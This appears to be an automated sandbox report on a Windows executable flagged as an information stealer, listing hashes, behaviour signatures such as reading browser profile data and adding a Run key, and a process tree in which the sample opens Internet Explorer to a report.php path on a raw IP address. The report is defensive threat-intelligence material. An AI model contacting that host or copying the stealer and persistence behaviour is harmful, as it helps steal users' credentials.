Overview

overview

7

Static

static

3

NEAS.ddae5...d0.exe

windows7-x64

7

NEAS.ddae5...d0.exe

windows10-2004-x64

4

Analysis

  • max time kernel
    166s
  • max time network
    185s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    16/11/2023, 21:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    NEAS.ddae517813533ff8cfb81a1187fcb6d0.exe

  • Size

    734KB

  • MD5

    ddae517813533ff8cfb81a1187fcb6d0

  • SHA1

    3e9d0bcab5d94967d5adcfe00a45f46052fe9a9a

  • SHA256

    f10ae8278080ab1748d8e114ce5a0a499a9016b55993a83e65c40a7dc40d258f

  • SHA512

    93c7eaed105d56a78c34d50ef2d1f27de0602271e3d4009d3036cee4c5e48c74bdd34a1d177e220ce42fb4e721839d4efe964b6d30fc6c66e356ed8c8d1bf87d

  • SSDEEP

    12288:UxazIxzq/TymWfc/vQMeBDajRIO3iSw1+oKJt:Uxazszq/TymWfc/IMYciSw1jKJt

Score
7/10
persistencespywarestealer

Malware Config

Signatures

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
    adwarespyware
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NEAS.ddae517813533ff8cfb81a1187fcb6d0.exe
    "C:\Users\Admin\AppData\Local\Temp\NEAS.ddae517813533ff8cfb81a1187fcb6d0.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2280 CREDAT:275457 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2872

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ose.exe
          Filesize

          880KB

          MD5

          5c77784e195c81143db29e7f270538d2

          SHA1

          f881877c35db3a7c499702479d84dd0c7051c0c7

          SHA256

          f9873f9d4b4c9ae3df1c0614fabe11fef50e3bd61522040938460164f7763570

          SHA512

          3ec91cba584a19962185c870ba338d051d7cd35e40be2f040cf6a8950d8034fce25d1a1c59a8d93933daca78a703c07169cc09b621a67945eb3e836321b31bc8

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          92fdb5b580094614ef9220f32f574d11

          SHA1

          00b66a9bbc9a692453617415069c4b657c9d527c

          SHA256

          a1e80478543241ac9b7e42f11840bc647e8f2254e8e0ffba8f7a78c642e20ff8

          SHA512

          c50a3d4c286e95498334a9f9f36ca837da3ccc970a1b046e3d7423a48c0bcfe03c77da5b00c2640fa5b8c4ae14d024530fb4788f63970824d11d129b8e4e87e5

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          ec16485c28e88b2078eab8daeae9cca8

          SHA1

          92af64d9df03b60252a9bf09635a6056e16ddd60

          SHA256

          db3c491118624f031a2fc6d07509ba96be9cf68d1eef6e42467d97b187f804ae

          SHA512

          45ecc542cdfe9aa84f6a260b0f8268841becacd31a13691d6f3f7efe6433bdc2d7a26476edcea67249e595bf34d61e897666025bb529ef2a3d432acae9a00007

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          51fce522e773d99e171b7d6f59c25830

          SHA1

          8af2a23685cfbac621ae5125fc931664d064017c

          SHA256

          9faf4414d31d22651e06b332380e1a9935d5fb0bbe19bdde11b57badba054f27

          SHA512

          1ddebaec62f390b8935a038a5614aba37744e561644a103946a8310b7dabd16cbd4c5f19564a0ef3643bd7edd2b69838c41d2deb5d1b15fd1df4ce3455656985

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          00360f2743daa1f1c4dd2687f93bf59f

          SHA1

          276a36260d65393e5c08ff4e4c6dc9d8df574961

          SHA256

          49e7307c931772f2d2d5022f5cce3c371005ee0dfe31f9b2c5c5089b542b3c76

          SHA512

          c06c8107459d69cd34669e5cee4b2d455e9729f980afbcfa7172f5fe7fd0c67d7f23bae0e89935b94ad9bb8dedf84cfd13c146251ba24a63a99734ff5a0be937

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          2aa1f4983fcf8b28d477cf898f946bc8

          SHA1

          10eab8a234a8a21dab4f146bb5645c01abe5936e

          SHA256

          0b7661a60cb1d361a46814b83310208bda790af6347ce24420162320936f4a33

          SHA512

          0117a3965fd22e2bc4d6e1bf6876158ac8c98d4c12421baaa69df5a773d684a1bdd364f19b9403fbba50259eefdab96db9b39a7d6f96aceadb39992a37ab1649

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          e53d8b77db3660597495536cc7b8ad3d

          SHA1

          33fed5828447b0dac9bdea95b43b7c009f33d612

          SHA256

          ce0141a8bf0c3da4c95b40b5b7d1f4d6bfc4cbb7879387d8928b949b2299cd52

          SHA512

          288b82256f59710c9933c66e0c414e5e500b6048b8b956795b1f0b62ee5e2266877d43aa3b0505e15ad4a89022f96b76fb47d3d29b7f711f8703ac8b4ae277e8

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          d89c69ec3e2cdeeecb6ee16cb3810d6c

          SHA1

          008d6b055ee7dc32faad594c19f0e4da303e1c9d

          SHA256

          4fe4fc61a76c09855a347f95d608f13590dea1f17648f908fddd661ba0df12d0

          SHA512

          8780ab12335f9152ef730714e24c1b7cedf66d4dfc0509ddd4700acefecd46c384b82565402a713c52c5d912b40faae382b864c32bfe6a2cdaffaab7753ce537

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          89d621cf1cd4271ba3e3f24f83e8e05f

          SHA1

          f8b13c29a6ab27ee39cde234e4ab7d3e754eee25

          SHA256

          e8e7ff620bd3a805b1592d594b80de1abc8207f28508e771aa2826f12d2e8f7b

          SHA512

          432ccc34853f5d3d3e133cf11a052449c65a9a6edf71c55088007607e52bf6f942b81abe24a4be9752677f1c1f1dc0783d0e862ffb0322b35f86191a7def867e

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          5de948fcf06aa5e6c3abc2b2033f78ed

          SHA1

          2c5bb430984ce1c52a5304a0d98cec8dd6cc49f0

          SHA256

          81bc1e30226f117815e86de18c8cf01465b0b24d2a91285c705f5ba2bb4566c4

          SHA512

          300481f1c4874d405d4abcc3ff8df5ce2b724ebb0c17c31ad5acb94532f447a6aed0e88e5c9f7450ef4ff0874d636c414a11dfa59f4fff20854c0cdfeed1c6f8

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          bf362c4ca57e91a933114553685a9b52

          SHA1

          3a485561a63219b0b496caf1fca79be5d4e70087

          SHA256

          cb43f5e1f2523191e19b2ebc1891dcb10f109c1128a1530d4b61e435a5f7631d

          SHA512

          29846ad688f381589f73332c8f7060c310ffae323fcd62fa97fbbb1282606a4fd315b6104d70d4c42986a3175fbfbedd1a46191c7f4ac3245a96d54f1e55ade8

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          af9b622c076ae5b663bc907cfda80304

          SHA1

          89d0119d8c046501e0aeaa2110b5f2253632ac5f

          SHA256

          0edb353d850fd435dcc7501c244787f6042a1e271aac070ad5c5842c13448896

          SHA512

          50b9f75a56f1e565de0ee7c2661d257ac1955ac14699258cb55e5b8b02313f0436b5dcbeec88c0b6135b631166649ffc2afdbbb57ebe82793aac163061f3e4b3

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          50500595b658c3e5743d645369504ddb

          SHA1

          2ecf3c57be08244f9b881111ac1dfb08de855a75

          SHA256

          5dce7f03cb4a0b4453bc5dcf7024400366f1942622771eb9d664cf955e3555c1

          SHA512

          51e5fcd22daa18d369239054f8453a01ac47ce6ec6a0a686afce22f2206ac1e360ee69e62db09cc00e49e438c1f07ebee1e36a5d1eed2b1defab133169039dec

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          b3e1b9427a200647b4a9b3c24e724112

          SHA1

          235ece401957ede5f03f6bd6abebf1956018a64c

          SHA256

          0a6aee8e56eea7562d766453ce76664339cb2b43e17145344ebfabe58e8bd4f9

          SHA512

          c6106ab98aa4435d1718808e9e52afc2e0771b294f66b26e693900094a06ec84ce9baae83f774d6a4d785a14eafb18fab7ab9a5f63c9ecf0b6128fecc51f40c0

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          08a3c5ec7c14dd10ffdff0d64bf888d1

          SHA1

          309a5e13e6de92319ea9d3e4c56433f497edde80

          SHA256

          904dd0eefcf1811e459be2582639b2774ce3a785e675ec7cb6e6ed4350dd6aa6

          SHA512

          97fc9a971d03d6d30458f495608f378db28ec1b2e602e1c295096f9e48b568830883cc1dadbe8b19f68b0121cf337dfd9d4723ba81866f208d302fb5304112f7

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          72b552581d48f03e5e6c775dbeb387bc

          SHA1

          fa72a83701173fd40ea10f90260ceaf88395c750

          SHA256

          2adbcb3c2c3e2fb72e827c32a06571618e23755f7805eb351e9abaeda0ad4395

          SHA512

          dabfb2d00b241afd56407a4df5bd9e2e89638c91022d5c19bd55e41546da6687ab7d9eaf1c2f35069388a445c9a62a9a3b5386ee0f2f78a7ebcf67aac53c0da2

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          0c208a50d110cb3619da81778556b66e

          SHA1

          b9dbef8d617026106cfec231d34531460c928ba1

          SHA256

          844be23f624217db41e07e6e8df9649be7682322fb7a3db89b267f357dd48c16

          SHA512

          5b3a8bfde06a32be62449044ca694a04a4c182e02f32a653d8b4ae2b4f7af1087544c25dd344edb11eca8912b12ba6e5bb9e8e0b6fdab6da35f27db23e89149d

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          f4175afc65441c02e72602ceafec12c1

          SHA1

          298548833284f6ff537255dc5d7148db94eaa5d4

          SHA256

          c7baa206300df01b02ad9c27e39e92bb5948c7d6d0cc8051e2c9582bbbcda30c

          SHA512

          ccf58908da36f3afba789a83fbdecf06285c7f3108e56fd84192591093d81638c18b71ec9d22038e70a65938027783d7dea8bb404d1a834d55081d7eac390b03

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          f0eaff770c5651c3fcf6a0b76613f689

          SHA1

          e2381777c32d1ff99c2887d36dfe20cadc0bbec4

          SHA256

          312d8e5ed7f68e28a0f5b951b50f62f7ba4e9439abeb567fd16375eee7c2b155

          SHA512

          0ab6c5307b5537d3307c67a96ad3efedf94c7e182e0cc40a36fc2d54cd5d347ec804c2aa02a6e2514fe50d4a19e93992eea607f23232f57cd2e9fd9c9a2274cd

          Download Submit

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          Filesize

          344B

          MD5

          ea12e8b627aa344bdf8249625afebc5f

          SHA1

          b6282e797682995cd8ad16d3121cdca611c3be3d

          SHA256

          f139ab7a65077717bc259b82b71de57b84402662e2cedbfd04d9e079261e3839

          SHA512

          9686fe97ae90b63135c47f4fafd6fe41d6c911a35b50bbb8d8ce1af95b076c501a8698008e9e7740661306423965b664ca4d75375bfd66c200ad2040d8b104a3

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\CabE503.tmp
          Filesize

          61KB

          MD5

          f3441b8572aae8801c04f3060b550443

          SHA1

          4ef0a35436125d6821831ef36c28ffaf196cda15

          SHA256

          6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

          SHA512

          5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\TarE5E2.tmp
          Filesize

          163KB

          MD5

          9441737383d21192400eca82fda910ec

          SHA1

          725e0d606a4fc9ba44aa8ffde65bed15e65367e4

          SHA256

          bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

          SHA512

          7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

          Download Submit

        • memory/1816-2004-0x0000000000400000-0x0000000000413000-memory.dmp

          Filesize

          76KB

          Download

        • memory/1816-0-0x0000000000400000-0x0000000000413000-memory.dmp

          Filesize

          76KB

          Download